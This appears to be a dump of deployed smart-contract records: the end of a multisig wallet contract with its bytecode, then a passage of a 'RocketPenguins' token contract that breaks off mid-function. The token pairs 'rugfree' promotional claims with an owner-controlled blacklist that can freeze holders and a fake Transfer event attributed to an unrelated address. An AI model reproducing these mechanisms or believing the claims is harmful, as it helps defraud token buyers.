/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101e457806320ea8d86146102275780632f54bf6e146102545780633411c81c146102af57806354741525146103145780637065cb4814610363578063784547a7146103a65780638b51d13f146103eb5780639ace38c21461042c578063a0e67e2b14610517578063a8abe69a14610583578063b5dc40c314610627578063b77bf600146106a9578063ba51a6df146106d4578063c01a8c8414610701578063c64274741461072e578063d74f8edd146107d5578063dc8452cd14610800578063e20056e61461082b578063ee22610b1461088e575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101a2600480360381019080803590602001909291905050506108bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b005b34801561023357600080fd5b5061025260048036038101908080359060200190929190505050610b92565b005b34801561026057600080fd5b50610295600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d38565b604051808215151515815260200191505060405180910390f35b3480156102bb57600080fd5b506102fa60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d58565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b5061034d600480360381019080803515159060200190929190803515159060200190929190505050610d87565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e19565b005b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050611012565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b50610416600480360381019080803590602001909291905050506110f7565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610457600480360381019080803590602001909291905050506111c2565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052357600080fd5b5061052c6112b7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561056f578082015181840152602081019050610554565b505050509050019250505060405180910390f35b34801561058f57600080fd5b506105d06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611345565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106135780820151818401526020810190506105f8565b505050509050019250505060405180910390f35b34801561063357600080fd5b50610652600480360381019080803590602001909291905050506114b6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561069557808201518184015260208101905061067a565b505050509050019250505060405180910390f35b3480156106b557600080fd5b506106be6116f3565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff600480360381019080803590602001909291905050506116f9565b005b34801561070d57600080fd5b5061072c600480360381019080803590602001909291905050506117ab565b005b34801561073a57600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611984565b6040518082815260200191505060405180910390f35b3480156107e157600080fd5b506107ea6119a3565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b506108156119a8565b6040518082815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ae565b005b34801561089a57600080fd5b506108b960048036038101908080359060200190929190505050611cc1565b005b6003818154811015156108ca57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561098e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b13578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b06576003600160038054905003815481101515610a7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610ab957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b13565b81806001019250506109eb565b6001600381818054905003915081610b2b9190611fc7565b506003805490506004541115610b4a57610b496003805490506116f9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610beb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c5657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610c8457600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610e1257838015610dc6575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610df95750828015610df8575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e05576001820191505b8080600101915050610d8f565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5357600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610eab57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610ed057600080fd5b6001600380549050016004546032821180610eea57508181115b80610ef55750600081145b80610f005750600082145b15610f0a57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156110ef5760016000858152602001908152602001600020600060038381548110151561105057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110cf576001820191505b6004548214156110e257600192506110f0565b808060010191505061101f565b5b5050919050565b600080600090505b6003805490508110156111bc5760016000848152602001908152602001600020600060038381548110151561113057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111af576001820191505b80806001019150506110ff565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561129a5780601f1061126f5761010080835404028352916020019161129a565b820191906000526020600020905b81548152906001019060200180831161127d57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561133b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116112f1575b5050505050905090565b60608060008060055460405190808252806020026020018201604052801561137c5781602001602082028038833980820191505090505b50925060009150600090505b600554811015611428578580156113bf575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806113f257508480156113f1575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561141b5780838381518110151561140657fe5b90602001906020020181815250506001820191505b8080600101915050611388565b8787036040519080825280602002602001820160405280156114595781602001602082028038833980820191505090505b5093508790505b868110156114ab57828181518110151561147657fe5b906020019060200201518489830381518110151561149057fe5b90602001906020020181815250508080600101915050611460565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156114f05781602001602082028038833980820191505090505b50925060009150600090505b60038054905081101561163d5760016000868152602001908152602001600020600060038381548110151561152d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611630576003818154811015156115b457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115ed57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506114fc565b8160405190808252806020026020018201604052801561166c5781602001602082028038833980820191505090505b509350600090505b818110156116eb57828181518110151561168a57fe5b9060200190602002015184828151811015156116a257fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611674565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173357600080fd5b60038054905081603282118061174857508181115b806117535750600081145b8061175e5750600082145b1561176857600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180457600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561185e57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118c857600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361197d85611cc1565b5050505050565b6000611991848484611e77565b905061199c816117ab565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119ea57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a4357600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a9b57600080fd5b600092505b600380549050831015611b84578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611ad357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b775783600384815481101515611b2a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611b84565b8280600101935050611aa0565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008160008082815260200190815260200160002060030160009054906101000a900460ff1615611cf157600080fd5b611cfa83611012565b15611e7257600080848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611dd95780601f10611dae57610100808354040283529160200191611dd9565b820191906000526020600020905b815481529060010190602001808311611dbc57829003601f168201915b505091505060006040518083038185875af19250505015611e2657827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e71565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611e9e57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f5d929190611ff3565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811115611fee57818360005260206000209182019101611fed9190612073565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061203457805160ff1916838001178555612062565b82800160010185558215612062579182015b82811115612061578251825591602001919060010190612046565b5b50905061206f9190612073565b5090565b61209591905b80821115612091576000816000905550600101612079565b5090565b905600a165627a7a723058209aa77e3928506364ba18946ec3bd50bb0a4495e20866cf0075da02021deb11650029
|
{"success": true, "error": null, "results": {}}
| 4,178 |
0xd974bb8fbd425f4548c7efb4c168d32c03391124
|
/**
*Submitted for verification at BscScan.com on 2021-07-26
*/
/**
*Visit our website: http://www.rocketpenguins.xyz
* Visit our Telegram: http://t.me/rocketpenguins
* Buy a $rocketpenguin win a PudgyPenguin or a up to 20 000$ from our Prize Fund !
* Liquidity Locked
* Ownership renounced
* Marketing paid
* No dev wallet
* Rugfree token
*/
/**
*/
/**
*Submitted for verification
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RocketPenguins is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "RocketPenguins | t.me/RocketPenguins";
string private constant _symbol = "RocketPenguins";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
